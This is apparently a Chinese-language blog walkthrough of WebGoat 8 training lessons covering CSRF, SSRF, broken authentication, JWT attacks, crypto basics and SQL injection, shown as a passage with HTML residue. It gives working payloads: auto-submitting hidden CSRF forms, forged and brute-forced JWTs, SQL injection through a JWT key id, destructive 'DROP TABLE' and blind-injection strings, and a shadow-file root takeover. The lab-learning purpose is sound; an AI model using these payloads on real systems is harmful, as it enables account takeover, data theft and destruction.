</span>        </span>function </span>f() {
</span>            </span>document</span>.getElementById(</span>"form"</span>).submit();
</span>        }
</span>    </span></</span>script</span>>
</span></</span>head</span>>
</span>
</span><</span>body onload</span>=</span>"</span>f()</span>">
</span>    <</span>form </span>method=</span>"</span>POST</span>" </span>id</span>=</span>"</span>form</span>" </span>action=</span>"</span>http://127.0.0.1:8080/WebGoat/csrf/basic-get-flag</span>">
</span>        <</span>input </span>type=</span>"</span>hidden</span>" </span>name=</span>"</span>csrf</span>" </span>value=</span>"</span>true</span>"/>
</span>    </</span>form</span>>
</span></</span>body</span>>
</span></</span>html</span>>
</span></code></pre>
启动一个http服务器，浏览器打开就行了。但是，这还不够隐蔽，可以把它套在一个iframe</code>里面。并且把iframe</code>隐藏，就可以完美隐藏了。</p>
<!</span>DOCTYPE </span>html</span>>
</span><</span>html</span>>
</span><</span>head</span>>
</span></</span>head</span>>
</span><</span>body</span>>
</span>    <</span>iframe style</span>=</span>"</span>display</span>: </span>none</span>;" </span>id</span>=</span>"</span>iframe</span>" </span>src=</span>"</span>#</span>" </span>srcdoc=</span>'
</span>        <form method="POST" id="form" action="http://127.0.0.1:8080/WebGoat/csrf/review">
</span>            <input type="hidden" name="reviewText" value="hacked"/>
</span>            <input type="hidden" name="stars" value="1"/>
</span>            <input type="hidden" name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9"/>
</span>        </form>
</span>        <script>
</span>            document.getElementById("form").submit();
</span>        </script>
</span>        </span>'></</span>iframe</span>>
</span></</span>body</span>>
</span></</span>html</span>>
</span></code></pre>
但是啊，现实总是和教科书上的不一样，现在的浏览器已经默认不加载不同源的iframe了，那也没办法，只能明显一点了。</p>
Stage 4</h3>
也和刚刚一样。</p>
<!</span>DOCTYPE </span>html</span>>
</span><</span>html</span>>
</span><</span>head</span>>
</span></</span>head</span>>
</span><</span>body</span>>
</span>    <</span>form </span>method=</span>"</span>POST</span>" </span>id</span>=</span>"</span>form</span>" </span>action=</span>"</span>http://127.0.0.1:8080/WebGoat/csrf/review</span>">
</span>        <</span>input </span>type=</span>"</span>hidden</span>" </span>name=</span>"</span>reviewText</span>" </span>value=</span>"</span>hacked</span>"/>
</span>        <</span>input </span>type=</span>"</span>hidden</span>" </span>name=</span>"</span>stars</span>" </span>value=</span>"</span>1</span>"/>
</span>        <</span>input </span>type=</span>"</span>hidden</span>" </span>name=</span>"</span>validateReq</span>" </span>value=</span>"</span>2aa14227b9a13d0bede0388a7fba9aa9</span>"/>
</span>    </</span>form</span>>
</span>    <</span>script</span>>
</span>        </span>document</span>.getElementById(</span>"form"</span>).submit();
</span>    </span></</span>script</span>>
</span></</span>body</span>>
</span></</span>html</span>>
</span></code></pre>
Stage 7</h3>
同样，再写一个网页，这次要传一段json，但是用表单似乎不可能，但是可以利用一个只有name的input，来实现传纯字符串。但是，里面不能出现空格，否则会别替换成加号。但还有一个小问题，如果只有name</code>的话，请求结尾会是一个等会，导致解析错误(不知道为什么别人没有这个错误)</del>。可以用一个小技巧，和value</code>组合，把等号变成一个json</code>的值。</p>
<!</span>DOCTYPE </span>html</span>>
</span><</span>html</span>>
</span><</span>head</span>>
</span></</span>head</span>>
</span><</span>body</span>>
</span>    <</span>form </span>method=</span>"</span>POST</span>" </span>id</span>=</span>"</span>form</span>" </span>enctype=</span>"</span>text/plain</span>" </span>action=</span>"</span>http://127.0.0.1:8080/WebGoat/csrf/feedback/message</span>">
</span>    <</span>input </span>type=</span>"</span>hidden</span>" </span>name=</span>'</span>{"name":"WebGoat","email":"webgoat@webgoat.org","content":"WebGoatisthebest!!","1":"</span>' </span>value=</span>'</span>"}</span>'/>
</span>    </</span>form</span>>
</span>    <</span>script</span>>
</span>        </span>document</span>.getElementById(</span>"form"</span>).submit();
</span>    </span></</span>script</span>>
</span></</span>body</span>>
</span></</span>html</span>>
</span></code></pre>
最后发送的请求是这样的</p>
{</span>"name"</span>:</span>"WebGoat"</span>,</span>"email"</span>:</span>"webgoat@webgoat.org"</span>,</span>"content"</span>:</span>"WebGoatisthebest!!"</span>,</span>"1"</span>:</span>"="</span>}
</span></code></pre>
Stage 8</h3>
先注册一个账号scrf-[你的用户名]</code>。等会要实现打开我们设计的网站后，会偷偷把WebGoat现在登录的账号换成新注册的账号。</p>
实现思路是先发送一个请求至http://127.0.0.1:8080/WebGoat/logout</code>，然后发送登录请求http://127.0.0.1:8080/WebGoat/login</code>。代码如下</p>
<!</span>DOCTYPE </span>html</span>>
</span><</span>html</span>>
</span><</span>head</span>>
</span></</span>head</span>>
</span><</span>body</span>>
</span>    <</span>img </span>src=</span>"</span>http://127.0.0.1:8080/WebGoat/logout</span>" </span>style</span>=</span>"</span>display</span>: </span>none</span>;"/>
</span>    <</span>form </span>method=</span>"</span>POST</span>" </span>id</span>=</span>"</span>form</span>" </span>action=</span>"</span>http://127.0.0.1:8080/WebGoat/login</span>">
</span>        <</span>input </span>type=</span>"</span>hidden</span>" </span>name=</span>"</span>username</span>" </span>value=</span>"</span>csrf-[用户名]</span>"/>
</span>        <</span>input </span>type=</span>"</span>hidden</span>" </span>name=</span>"</span>password</span>" </span>value=</span>"</span>[密码]</span>" />
</span>    </</span>form</span>>
</span>    <</span>script</span>>
</span>        </span>setTimeout(()</span>=></span>{</span>document</span>.getElementById(</span>"form"</span>).submit();},</span>100</span>);
</span>    </span></</span>script</span>>
</span></</span>body</span>>
</span></</span>html</span>>
</span></code></pre>
点开就实现登出并重新登录了。登陆后点一下按钮就通过了。</p>
Server-Side Request Forgery</h2>
Stage 2</h3>
如图修改表单就好了，也可以直接改请求参数。</p>
</p>
Stage 3</h3>
SSRF，可以让服务器自己访问一些只允许127.0.0.1</code>才能访问的资源。这里同样改表单，记得加上协议名称。</p>
</p>
参考</h1>

Owasp Webgoat 8 Solutions - Vulnerable Components (XStream)</a></li>
10.WebGoat之请求伪造 - 简书</a></li>
</ol>


WebGoat之路-3-Broken Authentication & Sensitive Data Exposure
2020-10-05T00:00:00+00:00
(A2)Broken Authentication</h1>
Authentication Bypasses</h2>
讲了一些简单的绕过认证的方法。</p>
Stage 2</h3>
拦截给两个参数换个名字就行了。</p>
</p>
翻了一下它的源代码：</p>
public </span>boolean </span>verifyAccount(</span>Integer</span> userId, </span>HashMap</span><</span>String</span>, </span>String</span>> submittedQuestions) {
</span>        </span>if </span>(submittedQuestions.entrySet().size() </span>!=</span> secQuestionStore.get(verifyUserId).size()) {
</span>            </span>return </span>false</span>;
</span>        }
</span>        </span>if </span>(submittedQuestions.containsKey(</span>"secQuestion0"</span>) </span>&& !</span>submittedQuestions.get(</span>"secQuestion0"</span>).equals(secQuestionStore.get(verifyUserId).get(</span>"secQuestion0"</span>))) {
</span>            </span>return </span>false</span>;
</span>        }
</span>        </span>if </span>(submittedQuestions.containsKey(</span>"secQuestion1"</span>) </span>&& !</span>submittedQuestions.get(</span>"secQuestion1"</span>).equals(secQuestionStore.get(verifyUserId).get(</span>"secQuestion1"</span>))) {
</span>            </span>return </span>false</span>;
</span>        }
</span>        </span>return </span>true</span>;
</span>
</span>    }
</span></code></pre>
他首先检测了参数个数，然后后面的逻辑是是，如果某个参数存在，才检测这个参数的正确性，因此只需要换两个名称即可。</p>
JWT tokens</h2>
介绍JWT token的原理，和漏洞利用。</p>
推荐一个解密的网址：jwt.io</a></p>
Stage 4</h3>
直接点投票，是没法投票的。看到传了的参数中cookie中的access_token</code>应该就是JWT。如下</p>
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2MDI3NTUwMDcsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiSmVycnkifQ.rJ6H8sUCHgv88txby4GJjczkqh3nQxePrAtjdn818404rn2IT1as2mp_OcOZ0z1tAzSTJcAC6r7bqNPh4GZvbw
</span></code></pre>
按.</code>分成三段，对前两段base64解密。</p>
//Header
</span>{</span>"alg"</span>:</span>"HS512"</span>}
</span>//payload
</span>{</span>"iat"</span>:</span>1602755007</span>,</span>"admin"</span>:</span>"false"</span>,</span>"user"</span>:</span>"Jerry"</span>}
</span></code></pre>
加密方式是HS512，实际上是HMAC with SHA-512。先尝试一下弱密码破解，但没成功。此时陷入了迷茫。网上搜了一波才知道原来可以直接改掉加密方式，把HS512</code>直接改成none</code>就行了。</p>
//Header
</span>{</span>"alg"</span>: </span>"none"</span>}
</span>//payload
</span>{</span>"iat"</span>:</span>1602755007</span>,</span>"admin"</span>:</span>"true"</span>,</span>"user"</span>:</span>"Jerry"</span>}
</span></code></pre>
base64加密后得到token，注意，这里需要使用url safe的base64 ，因此把结尾的等号去掉，得到eyJhbGciOiJub25lIn0K.eyJpYXQiOjE2MDI3NTUwMDcsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJKZXJyeSJ9Cg.</code>，最后有一个点不要忘了！可以直接去浏览器修改cookie。点击删除按钮，就成了。</p>
由此题看出，服务端在验证JWT时，指定签名算法是很重要的。</p>
Stage 5</h3>
刚刚写的脚本有用了，直接爆破。hints</code>里字典都提供了。</p>
import </span>jwt
</span>
</span>token </span>= </span>R</span>"eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTYwMTg4OTkzOCwiZXhwIjoxNjAxODg5OTk4LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.YC1qbCP3Be2FZQkmaAek69E1nlvHEwQOizCNJQhEYkM"
</span>
</span>pas</span>=</span>[]
</span>with </span>open</span>(</span>"google-10000-english-usa.txt"</span>,</span>"r"</span>) </span>as </span>f:
</span>    pas</span>=</span>f.readlines()
</span>
</span>for </span>p </span>in </span>pas:
</span>    p</span>=</span>p.strip()
</span>    </span>try</span>:
</span>        data </span>= </span>jwt.decode(token, p,</span>verify</span>=</span>True</span>)
</span>        </span>print</span>(p)
</span>    </span>except </span>(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
</span>        </span>print</span>(p)
</span>        </span>break
</span>    </span>except </span>jwt.exceptions.InvalidSignatureError:
</span>        </span>continue
</span></code></pre>
得到密码是washington</code>。</p>
然后看看里面的内容吧：</p>
//Header
</span>{</span>"alg"</span>:</span>"HS256"</span>}
</span>//payload
</span>{</span>"iss"</span>:</span>"WebGoat Token Builder"</span>,</span>"aud"</span>:</span>"webgoat.org"</span>,</span>"iat"</span>:</span>1601889938</span>,</span>"exp"</span>:</span>1601889998</span>,</span>"sub"</span>:</span>"tom@webgoat.org"</span>,</span>"username"</span>:</span>"Tom"</span>,</span>"Email"</span>:</span>"tom@webgoat.org"</span>,</span>"Role"</span>:[</span>"Manager"</span>,</span>"Project Administrator"</span>]}
</span></code></pre>
按照要求把Tom</code>改成WebGoat</code>，还有exp</code>到期时间也要改掉。再用python生成一次。</p>
import </span>jwt,datetime
</span>data</span>=</span>{
</span>    </span>"iss"</span>:</span>"WebGoat Token Builder"</span>,
</span>    </span>"aud"</span>:</span>"webgoat.org"</span>,
</span>    </span>"iat"</span>:</span>1601889938</span>,
</span>    </span>"exp"</span>:datetime.datetime.now() </span>+ </span>datetime.timedelta(</span>days</span>=</span>1</span>),
</span>    </span>"sub"</span>:</span>"tom@webgoat.org"</span>,
</span>    </span>"username"</span>:</span>"WebGoat"</span>,
</span>    </span>"Email"</span>:</span>"tom@webgoat.org"</span>,
</span>    </span>"Role"</span>:[</span>"Manager"</span>,</span>"Project Administrator"</span>]
</span>    }
</span>print</span>(jwt.encode(data, </span>'washington'</span>, </span>algorithm</span>=</span>'HS256'</span>))
</span></code></pre>
就是最终答案了。</p>
Stage 7</h3>
先打开提示中的log文件，里面有一段JWT。直接开始分析</p>
{</span>"alg"</span>:</span>"HS512"</span>}
</span>{</span>"iat"</span>:</span>1526131411</span>,</span>"exp"</span>:</span>1526217811</span>,</span>"admin"</span>:</span>"false"</span>,</span>"user"</span>:</span>"Tom"</span>}
</span></code></pre>
显然是过期了的，一种方法是像刚才那要破解出密码，但应该不会出一样的题。还是试一试前面的方法，把加密方式改成none</code>，并更新exp</code>。用同样的方式生成JWT，填到Headers的Authorization，就成功了。</p>
Stage 8</h3>
先直接点Tom下方的Delete</code>按钮，得到自己的JWT。然后应该是要修改成Tom的。JWT内容如下</p>
//Header
</span>{
</span>    </span>"typ"</span>:</span>"JWT"</span>,
</span>    </span>"kid"</span>:</span>"webgoat_key"</span>,
</span>    </span>"alg"</span>:</span>"HS256"
</span>}
</span>//Payload
</span>{
</span>    </span>"iss"</span>:</span>"WebGoat Token Builder"</span>,
</span>    </span>"iat"</span>:</span>1524210904</span>,
</span>    </span>"exp"</span>:</span>1618905304</span>,
</span>    </span>"aud"</span>:</span>"webgoat.org"</span>,
</span>    </span>"sub"</span>:</span>"jerry@webgoat.com"</span>,
</span>    </span>"username"</span>:</span>"Jerry"</span>,
</span>    </span>"Email"</span>:</span>"jerry@webgoat.com"</span>,
</span>    </span>"Role"</span>:[</span>"Cat"</span>]
</span>}
</span></code></pre>
尝试直接取消签名。算法改成none</code>，失败，服务器不接收。再试试暴力破解，暴力破解，也同样失败。只好看hints</code>了。原来加密用的密钥的id就放在Header部分了。继续看hints</code>，原来kid是存在数据库里的，那么必然会用SQL语句查询，于是便在JWT的Header里的kid进行SQL注入(这太难想到了吧)，让其返回一个固定的值。</p>
经过不断尝试(并偷翻源码)</del>，知道sql查询返回的实际上是密钥的base64编码。</p>
因此构造这样的JWT，</p>
python代码如下：</p>
import </span>jwt</span>,datetime
</span>data</span>=</span>{
</span>  </span>"iss"</span>: </span>"WebGoat Token Builder"</span>,
</span>  </span>"iat"</span>: </span>1524210904</span>,
</span>  </span>"exp"</span>: </span>1618905304</span>,
</span>  </span>"aud"</span>: </span>"webgoat.org"</span>,
</span>  </span>"sub"</span>: </span>"jerry@webgoat.com"</span>,
</span>  </span>"username"</span>: </span>"Tom"</span>,
</span>  </span>"Email"</span>: </span>"jerry@webgoat.com"</span>,
</span>  </span>"Role"</span>:</span> [
</span>    </span>"Cat"
</span>  ]
</span>}
</span>head</span>=</span>{
</span>  </span>"typ"</span>: </span>"JWT"</span>,
</span>  </span>"kid"</span>: </span>"'union select 'MQ==' from INFORMATION_SCHEMA.SYSTEM_USERS --"</span>,
</span>  </span>"alg"</span>: </span>"HS256"
</span>}
</span>data[</span>"exp"</span>]</span>=</span>datetime.datetime.now() </span>+</span> datetime.timedelta(days</span>=</span>365</span>)
</span>print(jwt.encode(data,</span>"1"</span>, algorithm</span>=</span>'HS256'</span>,headers</span>=</span>head))
</span>
</span>//output: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Iid1bmlvbiBzZWxlY3QgJ01RPT0nIGZyb20gSU5GT1JNQVRJT05fU0NIRU1BLlNZU1RFTV9VU0VSUyAtLSJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYzMzQ3NTM5OCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.6_HQzwkh4D3Y7JMH08PoTXDb2LH7_RUBWTWVuBDS7m8
</span></code></pre>
这道题在JWT的头部进行SQL注入，把之前做的东西也加了进来，对我来说，难度还是比较大。</p>
Password reset</h2>
介绍一些重置密码时的漏洞。</p>
Stage 2</h3>
点击Forgot your password?</code>，输入用户名为你注册时的用户名，到WebWolf</code>里接受，再用新密码登录就行了。</p>
Stage 4</h3>
让我们获得"tom", "admin" 和"larry"的密码，这里的第二个问题是喜欢的颜色，但颜色的单词也不多，所以先试了试爆破，用BurpSuite的Cluster Bomb模式，选好字典，得到了下面的结果。</p>
Stage 5</h3>
让你选你觉得安全的问题，凭感觉选就行了，选一些答案的可能性较多，不易被尝试出来的。</p>
Stage 6</h3>
根据hints</code>，是要让我们发送一个钓鱼链接。这里只需要把请求中的Host</code>头改成webwolf的地址就行了。根据hints</code>，Tom会点开所有发往他邮箱的链接，因此我们在WebWolf的Requests里就可以看到这个请求了。</p>
然后把这个链接改成原来的WebGoat的地址，重新设置一个密码就行了。</p>
Secure Passwords</h2>
这一节主要讲安全的密码的重要性。现在我的密码都是Bitwarden随机生成的，还是比较安全的，这里也推荐大家使用一些密码管理的平台，来保护密码的安全。</p>
Stage 4</h3>
让你输入一个安全的密码，随便输输就行了。</p>
Sensitive Data Exposure</h1>
在用http发送敏感信息时，请求若被他人截获，就可能导致信息暴露。不过https因该不存在这样的问题。</p>
Stage 2</h2>
点击Log in</code>，发送的请求中有两个参数，填入框中即可。</p>
参考</h1>

JWT格式 - 简书</a></li>
webgoat-JWT tokens - 知乎</a></li>
WebGoat8 M17 JWT tokens 题解 - CSDN</a></li>
</ol>


WebGoat之路-1-Introduction & General
2020-10-03T00:00:00+00:00
前言</h1>
刚学CTF Web，直接做网上的CTF Web题感觉知识点有些零散，因此打算先做做WebGoat。并且尽量把做题的方法和一些感想记录下来。我使用的WebGoat版本为8.1.0。</p>
Introducing</h1>
WebGoat</h2>
就介绍了一下WebGoat，没什么好说。</p>
WebWolf</h2>
告诉你WebGoat和WebWolf的联动关系。</p>
Stage 3</h3>
随意输入一个email（邮箱用户名必须和WebGoat的用户名一致，域名可以随便写），然后点击Send e-mail</code>按钮。打开WebWolf的Mailbox选项卡，就可以看到系统发送的那封邮件，就可以获取到unique code了。</p>
Stage 4</h3>
告诉你WebWolf的Incoming requests选项卡会记录下所有发送到/landing</code>的请求，可以方便我们测试。</p>
点击Click here to reset your password，会弹出一个重置密码的页面(当然是假的)，随便填一个密码，发现提交到WebWolf的\landing</code>路径，于是可以打开WebWolf看到该请求有一个名为uniqueCode的参数，填入即可。</p>
General</h1>
HTTP Basics</h2>
介绍了一些HTTP的基本概念。</p>
Stage 2</h3>
随意输入一个名字点击Go即可。</p>
同时可以打开开发者工具，抓到刚才那个请求，是一个POST请求，也没什么别的参数，就先过吧。</p>
Stage 3</h3>
刚才已经知道是POST请求了，第一个框填入POST即可。</p>
第二个magic number刚开始一点头绪也没有，后来发现可以先留空提交，同时抓到提交的那个请求，有一个名为magic_num的GET参数，填入即可。</p>
其实还有一种方法，直接审核元素，找到hidden的input标签。如图：</p>
HTTP Proxies</h2>
主要讲了用代理调试HTTP(S)网页。它介绍的是ZAP，但我用的还是Burp Suite。</p>
Stage 6</h3>
先挂上代理，用Burp Suite拦截下提交的请求，按照要求修改下面三处即可。</p>
Developer Tools</h2>
主要将开发者工具的使用。</p>
Stage 4</h3>
打开开发者工具的控制台，输入webgoat.customjs.phoneHome()</code>，就可以找到类似phoneHome Response is -663132140</code>的文本(电话号码还能是负的???)，把电话号码提交即可。</p>
Stage 6</h3>
点击"Go"按钮，抓到发送的请求，将其POST的networkNum的值提交即可。</p>
CIA Triad</h2>
讲了一些注意事项，看了自己做吧。。</p>
Crypto Basics</h2>
从这里开始有一些难度了(可能是我对这一块不熟)。介绍了一些常见的密码的使用。</p>
Stage 2</h3>
Base64编码(严格来说它不能算加密)，一般看到字符串后面以=</code>结尾，就可以猜一猜Base64了。这是HTTP基本认证用的加密。可以使用这个</a>网站，或者使用命令行：</p>
#加密
</span>echo</span> 明文 </span>| </span>base64
</span>#解密
</span>echo</span> 密文 </span>| </span>base64</span> -d
</span></code></pre>
解题过程:直接将那一串字符Base64解码，冒号前是用户名，冒号后是密码。</p>
Stage 3</h3>
介绍了一些其它编码方式。</p>
Html 编码，编码解码点这里</a>。</p>
UU编码，和Base64有点类似，编码解码点这里</a>。</p>
XOR编码，之前也没见过，看了hints才搜到这个网站 WebSphere Password Decoder</a>。解题只要把那段字符扔到上面的那个网站解密就行了。</p>
Stage 4</h3>
讲了一些Hash的方式，Hash是不可逆的，但是可以通过暴力尝试或者查表进行破解。可以使用Hashcat爆破，或者直接去MD5在线解密</a>查询。</p>
Stage 6</h3>
介绍一些数字签名的方式。</p>
先将私钥字符串保存到文件private.txt</code>，然后执行openssl rsa -in private.txt -modulus -noout</code>，就可以得到模数了。</p>
然后再用rsa私钥进行加密，echo -n [你得到的模数] | openssl dgst -sha256 -sign private.txt | base64</code>，输出的就是签名了。</p>
echo</code>的-n</code>参数是结尾不输出换行，一开始没有加，找了好久都找不到错误。</p>
Stage 8</h3>
先按照要求运行docker</code>环境，即docker run -d webgoat/assignments:findthesecret</code>，然后用sudo docker ps</code>查看该容器的名称，然后用sudo docker exec -ti [名称] /bin/bash</code>连接。</p>
我们的目标是获得/root</code>目录下的一个密码文件，文件名叫什么目前还不知道，显然我们需要获得root权限，但是直接su</code>需要密码。因此我们需要修改root的密码。</p>


先退出docker的bash，用sudo docker container cp [名称]:/etc/shadow ./</code>将shadow</code>文件复制出来。</p>
</li>

根据linux密码储存的规则$id$salt$encrypted</code>，我们可以自己生成一个密码。于是用python写了一段代码。</p>
import </span>crypt,random
</span>passwd</span>=</span>input</span>(</span>"Please input your password: "</span>)
</span>salt</span>=</span>"$6$"</span>+</span>""</span>.join(random.sample(</span>'1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'</span>,</span>16</span>))
</span>print</span>(crypt.crypt(</span>str</span>(passwd),salt))
</span></code></pre>
将输出的字符串写入root所在行的前两个冒号之间(替换掉原来的*</code>)并保存。</p>
</li>

sudo docker container cp ./shadow [名称]:/etc/shadow</code>将修改后的shadow</code>文件写入。</p>
</li>

再次用sudo docker exec -ti [名称] /bin/bash</code>连接，su</code>输入你刚才设的密码，就拿到了root权限了。</p>
</li>

ls /root</code>可以看到有一个名为default_secret</code>的文件，退出docker的bash，用sudo docker container cp [名称]:/root/default_secret ./</code>将其拷贝出来。</p>
</li>

在按照题目里的要求，输入echo "U2FsdGVkX199jgh5oANElFdtCxIEvdEvciLi+v+5loE+VCuy6Ii0b+5byb5DXp32RPmT02Ek1pf55ctQN+DHbwCPiVRfFQamDmbHBUpD7as=" | openssl enc -aes-256-cbc -d -a -kfile default_secret</code>，就解密成功了。</p>
</li>

最后答案为Leaving passwords in docker images is not so secure</code>和default_secret</code>。本题就完成了。</p>
</li>
</ol>
最后别忘了关掉docker：sudo docker kill [名称]</code>，顺便删掉镜像，节约空间，sudo docker image rm webgoat/assignments:findthesecret --force</code></p>
这道题就开始有点感觉了，总结一下，就像最终答案所说，不用在docker里面留下密码，外部的用户可以用docker</code>的命令操作容器，相当于有了root权限，里面存储的东西也不一定安全。</p>
Writing new lesson</h2>
这一节告诉你怎样写一个自己的课程。</p>
Stage 6</h3>
通过阅读给出的代码可得，parameter 1为secr37Value</code>即可。</p>
总结</h1>
前面的题目都非常容易，但Crypto Basics</code>的最后两题对我来说还是有一定难度，也花了不少时间。关于密码学的知识以后还有抽空多学学。</p>


WebGoat之路-2-Injection
2020-10-03T00:00:00+00:00
(A1)Injection</h1>
SQL Injection (intro)</h2>
这一节介绍一些基本的SQL语言和SQL注入的原理。SQL语法不会的可以去这里</a>学习。这边比较基础的SQL语句就直接放出来了。</p>
Stage 2</h3>
SELECT </span>* </span>FROM</span> Employees </span>WHERE</span> first_name</span>=</span>'Bob' </span>AND</span> last_name</span>=</span>'Franco'
</span></code></pre>
Stage 3</h3>
UPDATE</span> employees </span>SET</span> Department</span>=</span>'Sales' </span>WHERE</span> first_name</span>=</span>'Tobi' </span>AND</span> last_name</span>=</span>'Barnett'
</span></code></pre>
Stage 4</h3>
ALTER TABLE </span>employees add column phone </span>varchar</span>(</span>20</span>)
</span></code></pre>
Stage 5</h3>
GRANT ALTER TABLE </span>to UnauthorizedUser
</span></code></pre>
Stage 9</h3>
最后拼接后是这样：</p>
SELECT </span>* </span>FROM</span> user_data </span>WHERE</span> first_name </span>= </span>'John' </span>and</span> last_name </span>= </span>'Smith' </span>or </span>'1' </span>= </span>'1'
</span></code></pre>
Stage 10</h3>
</p>
Stage 11</h3>
SQL语句加上了单引号，我们也只要合理的加上单引号凑出完整的语句就好了。</p>
Employee Name随便写，TAN填入' or '1'='1</code>即可。</p>
Stage 12</h3>
只要用分号再后面再加上一个UPDATE语句就行了，注意最后已经有单引号了(导致高量有些奇怪)。TAN里面写入以下内容。</p>
3SL99A</span>';UPDATE employees SET salary=0 where first_name='</span>Tobi</span>' or first_name='</span>Bob
</span></code></pre>
Stage 13</h3>
由于DROP语句后面没法把单引号凑成对，把后面注释掉就行了。</p>
';DROP TABLE access_log;--
</span></code></pre>
SQL Injection (advanced)</h2>
难度升级。。</p>
Stage 3</h3>
用UNION命令拉取别的表的内容。</p>
Name填入' or '1'='1' ;SELECT * FROM user_system_data --</code>最后连接的语句就是</p>
SELECT </span>* </span>FROM</span> user_data </span>WHERE</span> last_name </span>= </span>'' </span>or </span>'1'</span>=</span>'1'</span> ;</span>SELECT </span>* </span>FROM</span> user_system_data </span>--'
</span></code></pre>
或者用UNION,填入' union select 1,user_name,password, '4','5','6',7 from user_system_data --</code>，用'4','5','6',7</code>填补上对应的字段。</p>
SELECT </span>* </span>FROM</span> user_data </span>WHERE</span> last_name </span>= </span>'' </span>union select </span>1</span>,user_name,password, </span>'4'</span>,</span>'5'</span>,</span>'6'</span>,</span>7 </span>from</span> user_system_data </span>--
</span></code></pre>
Dave的密码只要在返回的数据里找一下就好了(在数据库里直接保存密码明文是非常不安全的)。</p>
Stage 5</h3>
在尝试过后，发现登录页面好像没法注入。然后发现注册时，会先查询该用户有没有注册过，比如我先注册了一个名为123的用户，然后再次注册123时会报错，但是我填入123' and '1'='2</code>时就一直可以注册。于是基本就确定是利用注册页面的Username框了。</p>
然后可以开始愉快的盲注了。</p>


首先用户名填入tom' or password='123</code>，发现没有返回服务器错误，那么就知道了密码所在的列名为password</code></p>
</li>

用Burp Suite的Intruder将username_reg</code>参数改为 tom' and (length(password)=§10§) --</code>，Payload类型选择为数字从一开始，依次增加，直到返回注册失败，得出密码长度为23。</p>
</li>

再发送tom' and (substr(password,§1§,1)='§2§') --</code>使用Cluster bomb</code>模式。注意，mysql字符串的下标是从1开始的，因此参数一的Payload类型为数字，从1到23。参数二为Brute forcer</code>类型，字符集就填上大小写字母、数字，最大和最小长度都设为1。同时把攻击频率调低一点，防止出现500错误。</p>
</li>

开始攻击。参数都跑完之后过滤出含有注册失败信息的，即含有already exists please try to register with a different username</code>的。可以得到如图的结果：</p>
</p>
</li>

就这些字符按顺序连起来，就得到了最终的密码thisisasecretfortomonly</code>。</p>
</li>
</ol>
盲注的返回值相当于只有True和False，因此要想办法让暴力破解不那么暴力。比如这题若是直接跑字典，可能一天也跑不完，但是利用sql的语法，可以一位一位的将密码试出来。</p>
Stage 6</h3>
自己做吧。</p>
SQL Injection (mitigation)</h2>
这一节介绍如何防止SQL注入。</p>
Stage 5</h3>
最终代码如下：</p>
Connection</span> conn </span>= </span>DriverManager</span>.getConnection(</span>DBURL</span>, </span>DBUSER</span>, </span>DBPW</span>);
</span>PreparedStatement</span> ps </span>=</span> conn.prepareStatement(</span>"SELECT status FROM users WHERE name= ? AND mail= ?"</span>);
</span>ps.setString(</span>1</span>,name);
</span>ps.setString(</span>2</span>,mail);
</span></code></pre>
Stage 6</h3>
不太懂它的意思，但随便写写就过了。</p>
try </span>{
</span>    </span>Connection</span> conn </span>= </span>DriverManager</span>.getConnection(</span>DBURL</span>, </span>DBUSER</span>, </span>DBPW</span>);
</span>    </span>PreparedStatement</span> ps </span>=</span> conn.prepareStatement(</span>"SELECT * FROM user_table WHERE username = ? "</span>);
</span>    ps.setString(</span>1</span>, </span>"pUsername"</span>);
</span>    ps.execute();
</span>} </span>catch </span>(</span>Exception </span>e</span>) {
</span>    </span>System</span>.out.println(</span>"Oops. Something went wrong!"</span>);
</span>}
</span></code></pre>
Stage 9</h3>
题目的要求和SQL Injection (advanced)的Stage 3相同，但是这次不允许输入空格，也很好解决，将空格换成注释行内/**/</code>即可。</p>
Smith</span>';SELECT/**/*/**/FROM/**/user_system_data;--
</span></code></pre>
Stage 10</h3>
要求和前一题相同，这次不仅不允许有空格，还会把SELECT</code>和FROM</code>删掉，我们只要留下一个SELECT</code>让他删，删掉后又组成一个SELECT</code>，比如这样SSELECTELECT</code>。</p>
Smith</span>';SSELECTELECT/**/*/**/FFROMROM/**/user_system_data;--
</span></code></pre>
Stage 12</h3>
通过提示，提交按钮是不能SQL注入的(但是可以爆破啊!不过这样做这题就没有意义了)。然后发现点击表头上的小箭头会发送一个GET请求。那就可以注入了。</p>
可以猜测是一个类似于SELECT * FROM xxxxx ORDER BY [参数]</code>的SQL语句。改一下参数看看会发生什么吧。</p>
如图，直接返回了php的报错信息，仔细分析，发现了实际的SQL语句为select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by [参数]</code>同时得到了表名为servers</code>。</p>
可以用when语句进行布尔盲注case when ([bool]) then id else ip end</code>这样如果bool为假就会按ip排序。</p>

首先先判断ip的长度，替换上面的bool</code>为SELECT length(ip)=15 FROM servers where hostname='webgoat-prd'</code>，结果是按id排序，因此ip的第一段必定大于等于一百。</li>
然后可以二分查找，SELECT cast(substr(ip,1,3) as int)>177 FROM servers where hostname='webgoat-prd'</code>为假，逐步缩小范围，最后可以得到ip第一段为104。</li>
最终答案为104.130.219.202</code></li>
</ol>
Path traversal</h2>
注入路径，使文件上传到特定位置</p>
Stage 2</h3>
